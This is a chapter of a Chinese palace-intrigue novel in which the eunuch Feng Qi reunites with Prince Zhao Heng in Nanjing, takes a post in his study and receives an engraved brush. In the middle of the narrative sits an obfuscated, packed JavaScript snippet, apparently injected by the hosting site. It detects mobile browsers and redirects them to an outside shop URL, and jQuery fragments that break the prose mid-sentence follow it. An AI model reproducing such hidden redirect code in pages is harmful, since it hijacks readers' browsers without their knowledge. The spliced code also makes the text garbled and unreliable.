冯七在安王府住下的第三天，才见到赵珩。
那天下了雨。南京的雨和京城不一样，京城的雨来得急、去得快，噼里啪啦一阵就完事了。南京的雨是绵的，细的，黏的，像扯不断的丝线，从天上垂下来，把整座城裹在一层灰蒙蒙的水汽里。
冯七撑着油纸伞，穿过安王府湿漉漉的院子，去领当月的月钱。路过正院的时候，他听见有人在说话。声音不大，隔着雨幕听不真切，但那个声音他太熟悉了——即使隔着一层雨，即使只有几个模糊的音节，他也认得。
是赵珩。
他停下脚步，站在月亮门外，没有进去。
正院里，赵珩站在廊下，面前站着一个官员模样的人，穿着青色的官袍，腰间的银鱼袋表明他的品级不低。两个人正在说什么，赵珩的脸色不太好，嘴唇抿着，眉头微微皱着，像是在忍耐什么。
冯七站在月亮门外，犹豫着要不要过去。
他还没有想好，赵珩就看见了他。
隔着雨幕，赵珩的目光和他在空中碰了一下。冯七看见赵珩的嘴角微微动了一下——不是笑，是某种说不清的表情，像是意外，又像是释然。赵珩对那个官员说了句什么，官员点了点头，拱了拱手，转身走了。
赵珩朝冯七招了招手。
冯七走过去，在廊下收了伞，给赵珩行了个礼。
“殿下。”
“起来。”赵珩的声音有些哑，和京城的时候不一样了，“什么时候到的？”
“三天前。”
赵珩点了点头，上下打量了他一眼。
“瘦了。”他说。
“殿下也瘦了。”
这句话他们上次在康王府的花园里也说过。那时候两个人都以为那是最后一次见面，没想到这么快又见到了，而且是在几百里之外的南京。
“进来坐。”赵珩转身进了屋。
冯七跟着他走进去。
正堂不大，陈设简单，和京城的王府比起来寒酸得多。一张八仙桌，几把太师椅，墙上挂着一幅字，只写了一个字——“静”。
赵珩在一把椅子上坐下来，指了指旁边的椅子，示意冯七坐。冯七犹豫了一下，坐下了。这在宫里是不合规矩的——太监不能和皇子平起平坐。但这里是南京，是安王府，京城的那些规矩，在这里似乎没那么重要了。
“康王让我来南京就藩，”赵珩开门见山，“说是就藩，其实是流放。”
“奴才知道。”
“你知道什么？”赵珩看着他。
冯七沉默了一瞬。
“康王殿下要保殿下的命，就只能让殿下离开京城。离得越远越好。南京虽然远，但好歹是陪都，宗庙所在，比随便封一个穷乡僻壤强。”
赵珩端起茶杯喝了一口，放下。
“你倒是替他想得周全。”语气里有一丝讥讽，“你知道他为什么让我来南京吗？”
冯七摇了摇头。
“因为南京六部的官员，有一半是他的人。”赵珩的声音压低了，“我来南京，名义上是就藩，实际上是在他的眼皮底下。我在京城，他管不着。我到了南京，一举一动都有人盯着。你明白吗？”
冯七明白了。
康王不是在保护赵珩，是在控制赵珩。把赵珩从京城弄到南京，远离皇帝，远离朝堂，远离所有可能成为他依靠的力量。然后把他放在自己的势力范围之内，严加看管。这样赵珩既不会成为别人的棋子，也不会成为康王自己的威胁。
“殿下，”冯七说，“您恨康王吗？”
赵珩看了他一眼。
“不恨。”他说，“在这座皇宫里，恨是最没用的东西。恨不会让你活得更好，只会让你死得更快。”
冯七低下头。
苏公公也说过类似的话。不是恨，是分寸。
“那你来我这里，是他安排的？”赵珩问。
“是。”
赵珩没有说话，站起来，走到窗前，看着外面淅淅沥沥的雨。
雨打在院子里的芭蕉叶上，啪啪的，闷闷的，像有人在敲门。
“冯七，”赵珩忽然说，“你知道我为什么没有拒绝吗？”
“什么？”
“康王让你来我府上。他问我的时候，我完全可以拒绝。我可以说不缺人，可以说你不够格，可以说任何理由。但我没有。”
冯七看着他。
“因为我欠你的。”赵珩转过身来，“在京城，你为了我把账册交给了康王。那是你冯家几代人的心血，是苏公公拿命换来的。你把它交出去了，为了我。我不能不领这个情。”
“殿下不欠奴才什么——”
“我欠。”赵珩打断了他，“我欠你一条命。苏公公的死，也有一部分是因为我。如果不是为了保我，他不会去找康王，不会被抓，不会死。”
冯七沉默了。
赵珩说得对。苏公公的死，确实和保赵珩有关。但苏公公是自愿的。他选择了用自己的命，换赵珩的命，换冯七的命，换那批账册能够留存下去的可能。
“殿下，”冯七说，“苏公公不后悔。”
“我知道。”赵珩的声音有些低，“但我后悔。”
雨越下越大，打在屋顶的瓦片上，哗哗的，像有人把整条河倒扣在了房顶上。冯七和赵珩面对面坐着，谁也没有再说话。沉默像雨一样，密密地织在他们之间，把那些说不出口的话都裹了进去。
过了很久，赵珩开口了。
“你在府里做什么差事？”
“还没分派。周公公说让我先歇几天。”
“周公公？”赵珩的眉头皱了一下，“哪个周公公？”
“浣衣局调来的那个。姓周，五十来岁，以前在宫里当过管事。”
赵珩想了一会儿，摇了摇头：“我不认识。但既然是从宫里来的，应该知道规矩。你去跟他说，就说我说的，让你到正院来当差。”
“殿下——”
“我这里缺一个管书房的人。”赵珩说，“你会识字，会研墨，会整理书卷。比那些什么都不懂的小太监强。你愿不愿意？”
冯七看着赵珩，心里翻涌着说不清的滋味。在京城的时候，他是御书房的小太监，每天给赵珩研墨铺纸。如今到了南京，又要回到同样的位置，做同样的事。
像是兜了一个大圈子，又回到了原点。
但又不是原点。京城是原点，回不去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680425|207663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
南京是新的开始，虽然做的事一样，但人已经不一样了。
“奴才愿意。”冯七说。
赵珩点了点头。
“那就这么定了。明天你就搬过来，正院后面有一间空房，你住那儿。”
“是。”
冯七站起来，行了个礼，准备走。
“冯七。”赵珩叫住了他。
冯七停下来。
赵珩从袖子里摸出一样东西，递过来。
是一支笔。不是什么名贵的笔，竹子做的笔杆，羊毫笔头，笔杆上刻着两个字——“安生”。
“你在我这里当差，总要有支笔。”赵珩说，“这支笔我用了两年，写秃了好几支，就这支用着最顺手。送给你。”
冯七接过笔，握在手心里。笔杆还带着赵珩的体温，温热的，贴着他的掌心。
“谢殿下。”
“去吧。”
冯七撑着伞，走出正院，穿过雨幕，回到自己的小屋。
他点上灯，把那支笔放在桌上，看了很久。竹制的笔杆在灯光下泛着淡淡的黄色，上面“安生”两个字刻得很浅，不仔细看几乎看不出来。
安生。安生立命。平平安安地活着。
这是赵珩对他的期望。不高，不远，只是活着。但在这年头，“活着”两个字，是最低的要求，也是最高的奢望。
他在屋子里找了一圈，没有找到纸。他又翻了一遍包袱，也没有。最后他在墙角找到了一张发黄的旧纸，不知道是什么时候留下的，上面还有半个模糊的脚印。
他把它铺在桌上，用指甲把上面的灰尘刮干净，然后拿起那支笔。
没有墨。
他看了看灯盏里的油，又看了看笔尖。犹豫了一下，他把笔尖伸进灯盏里，蘸了蘸灯油。
油在纸上洇开，比墨淡得多，勉强能看见痕迹。
他在纸上写下：
“崇文十八年，四月廿三，雨。”
“余随安王至应天府，今日始见殿下。”
“殿下瘦了。奴才亦瘦了。”
“殿下问奴才恨康王否。奴才不知。”
“奴才但知，恨无益。唯有活着，方有来日。”
写完之后，他看着那几行字。灯油写的字在纸上晕染开来，笔画边缘模糊不清，像是随时会消失。但字还在，痕迹还在。
这就够了。
他把纸折好，和冯安的绢帛放在一起，藏进枕头底下。
窗外的雨还在下，雨声淅淅沥沥的，像是有人在远处唱歌，唱的什么听不清，只有调子飘飘忽忽地传来，钻进耳朵里，缠在脑子里，怎么都赶不走。
冯七吹灭了灯，躺下来。
黑暗中，他摸着脖子上的玉扳指和铜钱，还有枕头底下那支写着“安生”的笔。
他想，或许这就是命。兜兜转转，还是要回到赵珩身边。不是因为赵珩是皇子，不是因为他能给自己什么，而是因为——在这个吃人的世道里，赵珩是唯一把他当人看的人。
为了这个，他愿意留下来。
哪怕南京也是一座牢笼。哪怕安王府也是一座更大的浣衣局。哪怕前路漫漫，看不清尽头。
他愿意。